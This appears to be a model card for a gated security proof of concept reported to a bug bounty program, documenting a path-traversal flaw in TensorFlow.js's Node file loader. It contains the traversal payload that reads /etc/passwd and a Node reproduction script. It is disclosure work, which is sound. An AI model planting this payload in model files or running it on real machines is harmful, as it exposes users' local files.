Ano1X8's picture
Upload 2 files
996465d verified
|
Raw
History Blame Contribute Delete
1.8 kB
metadata
license: mit
tags:
  - security-poc
  - do-not-use

TensorFlow.js model.json path-traversal PoC (gated security artifact)

Gated security PoC. Access restricted to huntr / ProtectAI triage (protectai-bot). This repo hosts a malicious TensorFlow.js model file that demonstrates an arbitrary local-file-read triggered purely by loading the model in Node.js. Do not load it on a machine whose local files you care about — it reads /etc/passwd into the model's weight data.

The malicious file

model.json is a valid TensorFlow.js GraphModel manifest. Its weightsManifest[0].paths[0] is a directory-traversal string:

"paths": [ "../../../../../../../../../../../../../../../../../../../../etc/passwd" ]

When @tensorflow/tfjs-node loads this model, NodeFileSystem.loadWeights() does readFile(join(dirname(model.json), path)) with no containment check, so it reads /etc/passwd and returns its bytes as ModelArtifacts.weightData.

Reproduce (standard "download a model, load it locally" flow)

npm install @tensorflow/tfjs-node@latest
# download model.json from this repo into ./m/
node -e '
  const tf = require("@tensorflow/tfjs-node");
  tf.io.fileSystem("./m/model.json").load().then(a => {
    console.log("bytes read:", a.weightData.byteLength);
    console.log(Buffer.from(a.weightData).toString("utf8").split("\n").slice(0,3).join("\n"));
  });
'
# -> prints the first lines of /etc/passwd (root:x:0:0:...)

tf.io.fileSystem(...).load() is exactly the handler that the public tf.loadGraphModel("file://.../model.json") / tf.loadLayersModel("file://...") entrypoints use internally. The same sink exists in @tensorflow/tfjs-inference.

See the linked huntr report for full root-cause, affected packages, and remediation.